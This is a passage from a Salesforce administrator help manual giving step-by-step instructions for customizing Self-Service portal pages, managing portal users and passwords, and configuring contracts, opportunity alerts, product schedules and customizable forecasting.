Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page
is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to
automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary

723
Customize Customizing Your Self-Service Pages

password when logging in. For details on setting up the new password template, see New Password Template on page
715.

1. To customize this page, click Edit next to the Login Page listed.
2. Check Show Message to display your message on the login page.
3. Insert a page message. Use the format toolbar to format your page message. For descriptions of the HTML formatting
buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
4. Click Save.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Customize the Home Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page
is the first page that users see after they log in.

1. To customize this page, click Edit on the Home Page line.


2. You can enable the following features:

Feature Description
Show Top Solutions List Lists the titles of up to five solutions of your choice on the
Home Page.
Show My Open Cases Lists the open cases of the Self-Service user who is logged
in.

724
Customize Customizing Your Self-Service Pages

Feature Description
Show Message The message that will be displayed at the top of the home
page. You can enter a message of up to 32,000 characters
including any HTML tags.

3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 100.
5. Click Save.
6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

Set the Top Solutions


If you checked Show Top Solutions List from the Home page, click Add in the Solutions related list of the Self-Service
Settings page to search for and select solutions to display on the Home page. You may only select solutions that have been
marked Visible in Self-Service Portal.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Enable the Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows
users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions.

1. To enable this page, click Edit on the Solutions Page line.

725
Customize Customizing Your Self-Service Pages

2. Select the Show Solution Page checkbox.


3. Check Show Message to display a message at the top of the Solutions Page.
4. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 100.
6. Click Save.
7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Customize the Log a Case Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows
users to submit new cases to your customer support team. New cases submitted from this page will be automatically created
in Self-Service and assigned to the support representative or queue defined by your case assignment rules.

1. To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line.
2. Select the Show Log a Case Page checkbox.
3. Check Show Message to display a message on this page.
4. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 100.
6. Click Save.

726
Customize Customizing Your Self-Service Pages

7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page
layout, see Customizing Page Layouts on page 620.
Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case
if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.

8. Click Save at any time to finish.


9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Customize the View Cases Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page
allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add
comments to their cases.

1. Click Edit on the View Cases Page line.


2. Select the Show View Cases Page box to allow users to view their open and closed cases.
3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an
email is automatically sent to the case owner.
4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an
email is automatically sent to the case owner.
When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users
to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added
to the case.
5. Check Show Message to display a message on this page.

727
Customize Customizing Your Self-Service Pages

6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 100.
8. Click Save.
9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing
the page layout, see Customizing Page Layouts on page 620.
Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases.
You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity
page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make
Public or Make Private in the case's Activity History related list.
10. Click Save at any time to finish.
11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.
Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal
checkbox on the case.

Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this
order; nor can they sort case columns in the Self-Service portal.

See Also:
Setting Up Self-Service
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

728
Customize Customizing Your Self-Service Pages

Customize the Suggested Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested
Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or
viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. Note that suggested
solutions does not display Salesforce Knowledge articles. See What are Suggested Solutions? on page 2108.
To customize the Suggested Solutions Page:

1. Click Edit on the Suggested Solutions Page line.


2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal.
3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select
at least one “Closed” value for this field.
To customize the Status field, see Modifying Picklists on page 423.
4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten.
5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases.
To customize the values associated with the Case Reason field, see Modifying Picklists on page 423.
6. Check Show Message to display a message on this page.
7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 117.
Optionally, check Show HTML to view your page message in HTML code.
8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 100.
9. Click Save.
10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have
customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

729
Customize Generating Login HTML

Generating Login HTML


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To generate Self-Service portal HTML: “Manage Self-Service Portal”

After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your
Self-Service portal.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Generate Login HTML.
3. Insert the URL or HTML code provided into your website.
4. Click Finished to return to the Self-Service Settings page.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Managing Self-Service Users
Self-Service Jump Start

Managing Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your
customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable
access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages.

• To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 1385.
• To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 731.

730
Customize Managing Self-Service Users

• To change Self-Service user information, see Editing Self-Service User Information on page 732.
• To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 732.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Enabling Multiple Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at
once. Each contact must have an email address and must be associated with an account to be a Self-Service user.
To enable new users for your Self-Service portal:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Click Enable New User(s).
3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering
data, see Entering Filter Criteria on page 1916.
4. Select the contacts you want to enable and click Next.
5. Modify Self-Service user information as necessary.
6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add
comments, and upload attachments for all cases submitted by anyone in his or her company.
7. Click Save.

See Also:
Managing Self-Service Users

731
Customize Managing Self-Service Users

Editing Self-Service User Information


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

Edit Self-Service user information to keep user information updated.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Select the users you want to change.
3. Click Edit User(s).
4. Make any necessary changes to these records.
5. Click Save.

See Also:
Managing Self-Service Users

Resetting Self-Service User Passwords


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service
users’ passwords:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Select the users whose passwords you want to reset.
3. Click Reset Password(s).

732
Customize Customizing Contract Settings

4. Click OK.

See Also:
Managing Self-Service Users

Customizing Contract Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change contract settings: “Customize Application”

Customize Salesforce.com to handle your internal contract management process. Enable or disable contract expiration notices
and auto-calculation of contract end dates.

Enabling Contract Expiration Notices


Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate
these expiration notices:
1. Click Setup ➤ Customize ➤ Contracts ➤ Settings.
2. Select the Send contract expiration notice emails... option.
3. Click Save.
Remove the check on this option and click Save to stop sending expiration notices.

Disabling Auto-Calculation of Contract End Dates


Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of
contract end dates:
1. Click Setup ➤ Customize ➤ Contracts ➤ Settings.
2. Remove the check in the Auto-calculate Contract End Date option.
3. Click Save.
4. View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract
Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 618 and Checking Field
Accessibility on page 638.
• To enable auto-calculation, check this option and click Save. If Salesforce.com auto-calculates Contract End Date,
it does not display on the contracts edit page.

733
Customize Enabling Opportunity Update Reminders

Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty,
Contract End Date will be blank.

See Also:
Contracts Overview

Enabling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit opportunity update reminder setup: “Customize Application” OR “Manage Users”
To activate or deactivate opportunity update reminders: “Manage Users”

Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers
to schedule opportunity update reminders: automated opportunity reports that managers can customize for their teams. For
example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on
the team and have the report distributed to everyone on the team.
To enable opportunity update reminders for your organization:

1. Click Setup ➤ Customize ➤ Opportunities ➤ Update Reminders.


2. Click Edit.
3. Select Enable Update Reminders for My Organization. Remove the check to disable this feature.
4. Optionally, select Automatically Activate Reminders for Users with Direct Reports if you want to
schedule opportunity update reminders for all your current users and users you add in the future that have direct reports.
5. Click Save.
6. Check the boxes next to the users you want to activate. Optionally, check the box in the column header to select all currently
displayed items. Activated users can schedule an opportunity update reminder.
7. Click Activate. Click Deactivate to prevent the selected users from creating an opportunity update reminder.

This enables each user selected to schedule opportunity update reminders for his or her team. You can activate any user that
has direct reports.

See Also:
Scheduling Opportunity Update Reminders

734
Customize Restricting Price and Quantity Editing on Opportunity Products

Restricting Price and Quantity Editing on Opportunity


Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restrict price and unit editing: “Customize Application”

To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the
opportunity products page layout.
To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.
Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.

Customizing Big Deal Alerts


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate big deal alerts: “Customize Application”

Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize
this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and
probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability
of 90%.

See Also:
Activating Big Deal Alerts

Activating Big Deal Alerts


You can activate one opportunity alert for your organization. The alert message resembles the opportunity detail page including
the page layout and language from a selected user. Before you begin, you may want to decide which user has the page layout
and language settings that you would like included in all alerts. This user must also have the “View All Data” permission.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Big Deal Alert.

735
Customize Customizing Big Deal Alerts

2. Enter a name for the alert.


3. Enter a Trigger Probability and Trigger Amount in the corporate currency. An opportunity alert is triggered for
opportunities with this probability and amount or greater. The alert triggers only for those opportunities that meet both
the trigger probability and trigger amount threshold settings.
Note: An opportunity can trigger a big deal alert even if it is in a currency that is different from the corporate
currency. The Amount on an opportunity is converted to corporate currency and compared to the Trigger
Amount. If you are using advanced currency management, dated exchange rates will be used.

4. Check the Active box if you would like to activate the new alert immediately after you save.
5. Enter the From Email Name.
6. Enter the From Email Address.
7. Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the
emails. This user’s profile must include the “View All Data” permission.
For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the
opportunity currency is different than the currency of the user selected in this step, both currencies are included in the
email.
Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid
email addresses.
The BCC: field is not available if your organization has enabled compliance BCC emails.
8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert
emails.
9. Click Save.

Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity
that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes
higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second
alert if it crosses that threshold again.
When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert
messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see
Logging in to Connect Offline on page 2230.

See Also:
Customizing Big Deal Alerts
Managing Multiple Currencies

736
Customize Setting Up Product Schedules

Setting Up Product Schedules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up product schedules: “Customize Application”

Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow
users to create schedules for individual products on opportunities.
Quantity Schedule
Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your
organization can decide exactly how to use quantity schedules.

Revenue Schedule
Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product.
Your organization can decide exactly how to use revenue schedules.

Default Schedule
A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default
revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any
particular opportunity, users can override the default schedules.

Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To enable schedules for your organization:

1. Click Setup ➤ Customize ➤ Products ➤ Schedule Setup.


2. Select the appropriate checkboxes to enable quantity and revenue schedules for your organization. Note that disabling a
schedule type automatically deletes all existing schedule information from products.
For a definition of each schedule type, see Setting Up Product Schedules on page 737.
3. For each schedule type you enable, select whether to automatically enable that schedule type for every product in your price
books. This option automatically selects the Quantity Scheduling Enabled or Revenue Scheduling Enabled
checkboxes on every product in your price books.
4. Click Save.

For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users
can establish for each product (see Creating and Editing Default Schedules on page 1827).

737
Customize Automatically Activating Product Prices

Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see
Deleting Products and Price Books on page 1839.
You cannot disable both schedule types for your organization if schedules are referenced in an Apex script. For example,
if a script references the schedule object (represented as OpportunityLineItemSchedule in the code), you can
disable one of the schedule types, but not both. For more information, see Force.com Apex Code Overview on page
964.

Automatically Activating Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To auto-activate product prices: “Customize Application”

When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise,
if you activate a product, you can have all the prices for that product automatically activated.

1. Click Setup ➤ Customize ➤ Products ➤ Settings.


2. Check When changing active flag on a product... to have Salesforce.com automatically change the active
flag on all related prices to whatever the active flag is on the related product.
Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a
product.
3. Click Save.

See Also:
Products, Price Books, and Schedules Overview

Prompting for Products on Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable prompting for products: “Modify All Data”

Customize Salesforce.com to prompt users to select a product when creating an opportunity. Enabling this option makes it
easier for users to add products while creating an opportunity.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Settings.

738
Customize Using Product Families

2. Check Prompt users to add products to opportunities to have Salesforce.com prompt users to select a
product when creating an opportunity.
3. Click Save.
4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven
from the products on the opportunity. See Setting Field-Level Security on page 217.

Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.

See Also:
Products, Price Books, and Schedules Overview

Using Product Families


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit product families: “Customize Application”

Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software,
you can create two product families: Hardware and Software.
If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales.
Users can also view forecasts for opportunities with hardware products separate from opportunities that include software
products. See Do I Have Customizable Forecasting? on page 1581.
To begin using product families:

• Customize the Product Family picklist to include the different categories of products you sell. See Modifying Picklists
on page 423.
• For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying
and Editing Products on page 1823.
• If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting
Quotas for Customizable Forecasting on page 135.
• If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast
family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 742.

See Also:
Setting Up Customizable Forecasting

739
Customize Enabling Similar Opportunities

Enabling Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed


To enable similar opportunities: “Customize Application”

On the opportunity detail page, the Similar Opportunities related list displays opportunities that match attributes of the current
opportunity. Enabling this related list allows users to learn how their current opportunities relate to other opportunities in
Salesforce.com.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Similar Opportunities.


2. Click Edit.
3. Select Enable Similar Opportunities to add the Similar Opportunities related list to the opportunity detail page.
4. Edit the search criteria and columns as necessary.
5. Add the Similar Opportunities related list to the opportunity page layout. For more information, see Customizing Page
Layouts on page 620.
6. Click Save.

Important: Enabling similar opportunities gives all users in your organization limited visibility into private
opportunities, regardless of sharing rules and profile permissions. Once enabled, users will see information for any
opportunity that matches fields you choose to display in the Similar Opportunities related list.

Editing the Similar Opportunities Search Criteria


You can determine which opportunity fields to match against when finding similar opportunities, and which columns to show
in the related list.
1. Select the opportunity fields or related lists that you want to match against when finding similar opportunities and click
Add. You must select between three and ten fields.
The following standard fields are supported:
• Private
• Close Date
• Probability (%)
• Account Name
• Primary Campaign Source
• Quantity
• Lead Source
• Opportunity Owner
• Type
The following standard related lists are supported:
• Products
• Contact Role
• Partner

740
Customize Setting Up Customizable Forecasting

• Competitors
• Sales Team
You can select any custom opportunity field, with the exception of those with the following field types:
• auto-number
• currency
• formula
• picklist (multi-select)
• roll-up summary
• text (encrypted)
• text area

2. Select the fields to use as columns on the Similar Opportunities related list.
a. Select the columns in the Available Columns box and click Add to move the columns to the Selected Columns box.
If necessary, select Remove to move columns from the Selected Columns box to the Available Columns box.
You can select up to 15 columns.
b. Use the up and down arrows to organize the selected columns in the appropriate order.

3. Click Save.

See Also:
Displaying and Editing Opportunities

Setting Up Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a
view of your overall business no matter how dispersed your sales teams are.
Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements.
Get started using customizable forecasting by clicking Setup ➤ Customize ➤ Forecasts:

• Click Fiscal Year to customize your fiscal year settings. See Setting the Fiscal Year on page 74.
• Click Settings to customize the default settings for your organization. See Defining Customizable Forecast Settings on
page 742.
• Click Forecast Hierarchy to set up your forecast hierarchy and sharing. See Setting Up Your Forecast Hierarchy on page
745.
• Click Enable Forecasting to launch customizable forecasting for your organization and set up your initial forecast hierarchy.
See Enabling Customizable Forecasting on page 747.

741
Customize Defining Customizable Forecast Settings

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.

See Also:
Administrator tip sheet: Setting Up Customizable Forecasting
Submitting Customizable Forecasts in Batches
Using Product Families
Defining Customizable Forecast Settings
Setting Up Your Forecast Hierarchy
Enabling Customizable Forecasting

Defining Customizable Forecast Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define forecast settings: “Customize Application”

Define the following settings for your organization:

• Forecast Data Aggregation determines the type of data that is displayed on forecasts.
• Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for
default forecasts.
• Forecast Data Sharing determines whether forecast data can be shared.

To set forecast options:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Settings.


2. Select Forecast Revenue if you want forecasts to include revenue amount. If you disable this setting, you will lose all
revenue overrides on your forecasts.
3. Select Forecast Quantity if you want forecasts to include quantity totals. If you disable this setting, you will lose all
quantity overrides on your forecasts.
4. Choose a Forecast Period. If you do not have custom fiscal years enabled, choose monthly or quarterly depending on
your organization’s forecasting cycle. If you have enabled custom fiscal years, you can choose to forecast by fiscal period or
by fiscal quarter. The forecast period you choose determines the time increment your organization uses for quotas and
forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals
are not available. If you change this setting, you will lose all overrides and forecasts, including all forecast history.
5. Choose a Forecast Date that determines how opportunity amounts contribute to forecasts:

• Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period
for that date. If your organization does not use products, this is the only option available.

742
Customize Defining Customizable Forecast Settings

• Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period
that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank,
Salesforce.com uses the Opportunity Close Date in the user’s forecast instead.
• Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods
that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce.com uses the Product
Date in the user’s forecast instead.

6. Choose a Forecast Type that determines how many forecasts your users will submit in a period:

• Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and
one quota for each period. If your organization does not use products, this is the only option available.
• Choose Use Product Families if your users have one quota and one forecast for each product family. See Using
Product Families on page 739.

7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and
forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains
the same for all users.
8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing.
9. Click Save.
If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:

• Require Administrator assistance for forecast sharing - Only administrators can share existing
forecast data.
• Forecast managers can share their own forecast data - Administrators can share existing forecast
data, and existing forecast managers can also share their own views.

Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each
time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view.

If you have chosen to disable forecast sharing, you are prompted to confirm your choice.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.

See Also:
Setting Up Customizable Forecasting
Manually Sharing a Forecast
Setting Your Fiscal Year

743
Customize Defining Customizable Forecast Settings

Setting Your Fiscal Year


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set fiscal year: “Customize Application”

Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year
is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your
fiscal year setting can be either 2005 or 2006.
To set your fiscal year for customizable forecasting:
1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We
recommend running and exporting the following reports:

• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs Actual

2. Click Setup ➤ Customize ➤ Forecasts ➤ Fiscal Year.


3. Choose a Forecast Period of monthly or quarterly depending on your organization’s forecasting cycle.
The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you
choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available.
4. Choose a Fiscal Year Start Month that represents the beginning of your organization’s fiscal year.
5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example,
if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month
because the last month determines how your organization refers to that fiscal year.
6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts
created before you enabled customizable forecasts. Checking this option changes your historical forecast data.
7. Click Save.

Note: If these options are not available to you, you may not have customizable forecasting. See Do I Have Customizable
Forecasting? on page 1581 to determine if your organization has enabled customizable forecasting.

See Also:
Defining Customizable Forecast Settings

744
Customize Setting Up Your Forecast Hierarchy

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your
hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management.
When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your
organization’s role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory
management. To customize your forecast hierarchy:

• Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users
for Customizable Forecasting on page 745.
• Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or
territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However,
above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast
Managers in Your Forecast Hierarchy on page 746.
• Share forecast manager views with other users. See Manually Sharing a Forecast on page 748.

If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.

See Also:
Setting Up Customizable Forecasting
Enabling Users for Customizable Forecasting
Assigning Forecast Managers in Your Forecast Hierarchy

Enabling Users for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

To enable users for customizable forecasting if your organization does not use territory management:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


2. Click Enable Users next to a role to view a list of users assigned to that level.

745
Customize Setting Up Your Forecast Hierarchy

3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click
Remove.
4. Click Save.

To enable a user for customizable forecasting if your organization uses territory management:

1. Click Setup ➤ Customize ➤ Users.


2. Click Edit next to the user's name.
3. Select Allow Forecasting.
4. Click Save.
5. Add the user to a territory.

Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report.
For more information on territory reports, see Territory Reports on page 1891.
If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager
for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy on page 746

See Also:
